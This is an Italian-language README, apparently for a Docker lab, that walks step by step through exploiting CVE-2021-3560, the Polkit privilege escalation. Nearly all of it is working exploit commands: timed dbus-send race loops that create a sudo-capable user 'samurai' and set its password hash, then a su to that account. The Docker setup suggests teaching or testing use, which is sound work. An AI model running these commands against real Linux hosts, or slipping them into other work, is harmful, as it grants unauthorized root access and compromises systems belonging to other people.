
Exploit basato su Docker per CVE-2021-3560 (escalation dei privilegi di Polkit) con istruzioni passo-passo per creare un utente sudo tramite una race condition in dbus-send.
di Mark, Qingchen Yu Per creare il container con
docker build -t <tag immagine a tua scelta> .
Per eseguire il container
docker run -it <nome tag immagine>
inizia con start.sh
Misura il tempo di esecuzione: Nota il tempo 'real' e calcola la metà.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
Crea un utente con privilegi sudo: Sostituisci X.XXX con la metà del tempo 'real' di cui sopra perché vogliamo che il processo venga interrotto a metà. il comando verrà eseguito come un ciclo di 10000 volte. Potresti dover eseguire questo passaggio più volte.
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
Verifica la creazione dell'utente
id samurai
Dovrebbe mostrare che l'utente samurai esiste e visualizzare i suoi permessi. Esegui di nuovo il passaggio 2 se non.
Genera l'hash della password: in questo caso, la password sarebbe 'iamsamurai' Nota l'hash generato.
openssl passwd -5 iamsamurai
Imposta la password per il nuovo utente: Sostituisci X.XXX con la durata del sleep e Password Hash con l'hash del passaggio 4. Sostituisci UUUU con l'ID utente di 'samurai'.
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
Passa al nuovo utente con la password creata al passaggio 4.
su - samurai
Ora dovresti essere in grado di usare 'sudo con questo utente'.